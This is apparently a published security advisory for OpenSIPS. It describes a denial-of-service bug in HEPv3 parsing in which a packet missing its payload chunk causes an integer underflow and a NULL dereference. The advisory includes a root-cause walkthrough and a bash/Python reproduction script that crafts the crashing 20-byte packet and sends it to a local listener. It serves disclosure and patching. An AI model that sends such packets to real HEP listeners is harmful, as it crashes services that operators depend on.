Skip to content

Missing HEP3 Payload Chunk Triggers NULL Dereference and Integer Underflow

High
razvancrainea published GHSA-fm55-3527-jjf5 May 21, 2026

Package

opensips (C)

Affected versions

>= 4.0.0, < 4.0.1
>= 3.6.0, < 3.6.7

Patched versions

4.0.1
3.6.7

Description

Root Cause Analysis

Step 1 — payload_chunk is zero-initialised and never populated when no payload chunk exists

In unpack_hepv3() (hep.c, lines 262 and 271):

memset(&h3, 0, sizeof(struct hepv3));
/* ... */
memset( &h3, 0, sizeof(struct hepv3));

The hepv3 struct contains:

/* hep.h, lines 218–234 */
struct hepv3 {
    struct hep_generic hg;
    union { ... } addr;
    hep_chunk_payload_t payload_chunk;   /* zero-initialised */
    generic_chunk_t* chunk_list;
};

And hep_chunk_payload_t is (hep.h, lines 132–137):

struct hep_chunk_payload {
    hep_chunk_t chunk;   /* vendor_id=0, type_id=0, length=0 */
    char *data;          /* NULL */
} __attribute__((packed));

The HEP_PAYLOAD case (hep.c, lines 384–391) and HEP_COMPRESSED_PAYLOAD case (lines 393–423) are the only paths that set payload_chunk. If neither chunk type is present in the received HEP3 packet, payload_chunk remains:

payload_chunk.chunk.length = 0   /* (u_int16_t, host byte order after zeroing) */
payload_chunk.data         = NULL

Step 2 — UDP path: integer underflow in hep_udp_read_req()

proto_hep.c, lines 1093–1097:

if (hep_ctx->h.version == 3) {
    /* HEPv3 */
    msg.len =
        hep_ctx->h.u.hepv3.payload_chunk.chunk.length - sizeof(hep_chunk_t);
    msg.s = hep_ctx->h.u.hepv3.payload_chunk.data;

msg is declared as str msg; (str = struct __str, msg.len is int).

hep_ctx->h.u.hepv3.payload_chunk.chunk.length is u_int16_t (value 0).
sizeof(hep_chunk_t) is 6 (three u_int16_t fields: vendor_id, type_id, length).

The expression (u_int16_t)0 - (size_t)6 promotes to unsigned arithmetic and then is assigned to int msg.len. The resulting value is implementation-defined but on x86_64 Linux GCC it wraps to (int)(0u - 6u) = -6 (signed underflow) or, if sizeof produces unsigned long, to (unsigned long)0 - 6 = 0xFFFFFFFFFFFFFFFA truncated to int = -6. Either way, msg.len is a large negative or large positive value depending on promotion rules — in practice -6 on this platform as int.

msg.s = NULL (from payload_chunk.data).

Step 3 — receive_msg() dereferences NULL

proto_hep.c, line 1111:

receive_msg( msg.s, msg.len, &ri, ctx, 0);

Inside receive_msg() (receive.c, lines 119–155):

in_buff.len = len;
in_buff.s = buf;          /* buf = NULL */
/* ... */
if (run_pre_raw_processing_cb(PRE_RAW_PROCESSING,&in_buff,NULL)<0) { ... }
len = in_buff.len;
msg = pkg_malloc(sizeof(struct sip_msg));
/* ... */
msg->buf = in_buff.s;     /* NULL */
msg->len = len;
/* ... */
if (parse_msg_opt(in_buff.s, len, msg, 0) != 0) {  /* dereferences in_buff.s = NULL -> SIGSEGV */

parse_msg_opt immediately reads the first byte of in_buff.s to classify the SIP message, causing a NULL pointer dereference (SIGSEGV).

Step 4 — TCP path: same bug in hep_handle_req()

proto_hep.c, line 756 (TCP/TLS path via hep_handle_req()):

msg_len = hep_ctx->h.u.hepv3.payload_chunk.chunk.length - sizeof(hep_chunk_t);
/* remove the hep header; leave only the payload */
msg_buf = hep_ctx->h.u.hepv3.payload_chunk.data;

msg_len is int (proto_hep.c, line 680). Same arithmetic underflow; msg_buf = NULL.

Line 763:

if (receive_msg(msg_buf, msg_len, &local_rcv, ctx, 0) < 0) {

Same NULL dereference path follows.

Why no NULL guard exists

There is no check between unpack_hepv3() returning and payload_chunk.data being used. Neither hep_udp_read_req() (UDP path) nor hep_handle_req() (TCP path) test whether payload_chunk.data == NULL or payload_chunk.chunk.length == 0 before computing msg.len/msg_len and calling receive_msg.

Attack Scenario / Exploitation Path

  1. Attacker sends a single UDP packet to OpenSIPS HEP UDP listener (default port 9060).
  2. The packet is a syntactically valid HEP3 frame with a non-zero total_length and any set of non-payload chunks (e.g., only an IP-family chunk). The payload chunk (type_id = 0x000F) and the compressed-payload chunk (type_id = 0x0010) are deliberately absent.
  3. hep_udp_read_req() calls unpack_hepv3(), which parses all present chunks but leaves payload_chunk zero-initialised (length=0, data=NULL).
  4. Control returns to hep_udp_read_req(). No error is returned by unpack_hepv3() (it returns 0 on success).
  5. Line 1096 computes msg.len = 0 - sizeof(hep_chunk_t) — integer underflow.
  6. Line 1097 sets msg.s = NULL.
  7. Line 1111 calls receive_msg(NULL, <underflowed_len>, ...).
  8. receive_msg dereferences NULL inside parse_msg_opt → SIGSEGV → worker crashes.
  9. Depending on OpenSIPS process model, the worker is restarted (self-healing DoS) or the entire process is terminated. Repeating the attack packet can maintain a persistent DoS condition.

The same attack applies over TCP (port 9060 TCP) using the hep_handle_req() path (line 756).

CIA Triad Impact

Confidentiality None
Integrity None
Availability High — a single unauthenticated UDP or TCP packet crashes the worker processing it; repeated packets maintain DoS

One-Click Reproduction Script

Note: Requires sipcapture module (with hep_capture_on=1) to trigger the vulnerable code path. The run_hep_cbs() function returns -1 (early exit) when no HEP callbacks are registered; sipcapture is the standard module that registers such callbacks in HEP concentrator deployments.

#!/bin/bash
set -e
WD=/tmp/poc_vuln_008_hep3_null_deref
SRC=/tmp/opensips-src-asan-008
mkdir -p "$WD"

# 1. Install dependencies
sudo apt-get update && sudo apt-get install -y \
    build-essential git flex bison python3 libncurses5-dev libssl-dev pkg-config

# 2. Clone OpenSIPS 4.0
git clone --depth 1 https://github.com/OpenSIPS/opensips "$SRC"
cd "$SRC"

# 3. Build opensips binary with ASAN (two-stage: static libs first)
make -j$(nproc) gen_misclibs \
    CFLAGS='-fsanitize=address -g -O1 -fno-omit-frame-pointer'
make -j$(nproc) opensips \
    CFLAGS='-fsanitize=address -g -O1 -fno-omit-frame-pointer' \
    LDFLAGS='-fsanitize=address'

# 4. Build required modules (no ASAN override to avoid MOD_LDFLAGS breakage)
make -j$(nproc) modules module='proto_hep'
make -j$(nproc) modules module='db_text'
make -j$(nproc) modules module='sipcapture'

# 5. Set up db_text database (sipcapture requires db_url)
mkdir -p /tmp/opensips_db/opensips
printf 'id(int,auto) src_ip(string) src_port(int) dst_ip(string) dst_port(int) from_user(string) from_tag(string) to_user(string) contact_user(string) auth_user(string) callid(string) callid_aleg(string) via_1(string) via_1_branch(string) cseq(string) diversion(string) reason(string) content_type(string) auth(string) user_agent(string) source_ip(string) source_port(int) direction(string) type(int) node(string) correlation_id(string) proto(int) family(int) rtp_stat(string) method(string) msg(blob) initiated_dur(int) completed_dur(int) reply_dur(int) cancel_dur(int) pid(int) micro_ts(int) created(string)\n' \
    > /tmp/opensips_db/opensips/sip_capture

# 6. Write config (OpenSIPS 4.0 syntax: socket=, stderror_enabled=)
cat > "$WD/opensips_hep.cfg" << CFG
log_level=3
stderror_enabled=yes

mpath="$SRC/modules"

socket= hep_udp:127.0.0.1:9060

loadmodule "db_text.so"
loadmodule "proto_hep.so"
loadmodule "sipcapture.so"

modparam("sipcapture", "hep_capture_on", 1)
modparam("sipcapture", "db_url", "text:///tmp/opensips_db/opensips")

route {
    exit;
}
CFG

# 7. Start OpenSIPS with ASAN
pkill -f "opensips.*hep" 2>/dev/null || true
sleep 1
ASAN_OPTIONS=detect_leaks=0:abort_on_error=1 \
    "$SRC/opensips" -f "$WD/opensips_hep.cfg" -FD > "$WD/opensips.log" 2>&1 &
OPENSIPS_PID=$!
echo "[*] OpenSIPS started, PID=$OPENSIPS_PID"
sleep 5

if ! kill -0 "$OPENSIPS_PID" 2>/dev/null; then
    echo "[!] Failed to start. Log:"; cat "$WD/opensips.log"; exit 1
fi

# 8. Send HEP3 packet with NO payload chunk (20 bytes, >= MIN_UDP_PACKET)
python3 - << 'PYEOF'
import socket, struct
TARGET_IP, TARGET_PORT = "127.0.0.1", 9060
# Chunk 0x0001 (IP-family=AF_INET) + Chunk 0x0002 (IP-proto=UDP)
# NO payload chunk (type=0x000F) -> payload_chunk.data stays NULL
chunk1 = struct.pack('!HHH', 0x0000, 0x0001, 7) + struct.pack('B', 0x02)
chunk2 = struct.pack('!HHH', 0x0000, 0x0002, 7) + struct.pack('B', 0x11)
pkt    = b'HEP3' + struct.pack('!H', 6 + 7 + 7) + chunk1 + chunk2
print(f"[*] Sending {len(pkt)}-byte HEP3 packet (no payload chunk): {pkt.hex()}")
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.sendto(pkt, (TARGET_IP, TARGET_PORT))
s.close()
print("[*] Sent.")
PYEOF

# 9. Wait and check crash
sleep 4
cat "$WD/opensips.log"
if kill -0 "$OPENSIPS_PID" 2>/dev/null; then
    echo "[?] Process still running"
    kill "$OPENSIPS_PID"
else
    echo "[!!!] OpenSIPS CRASHED — vulnerability confirmed"
fi

Disclosure

This vulnerability was discovered using an automated security auditing pipeline developed by Haruto Kimura (Stella), which leverages Anthropic's Claude language models for code analysis, vulnerability detection, and report generation

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

CVE ID

No known CVE

Weaknesses

Integer Underflow (Wrap or Wraparound)

The product subtracts one value from another, such that the result is less than the minimum allowable integer value, which produces a value that is not equal to the correct result. Learn more on MITRE.

NULL Pointer Dereference

The product dereferences a pointer that it expects to be valid but is NULL. Learn more on MITRE.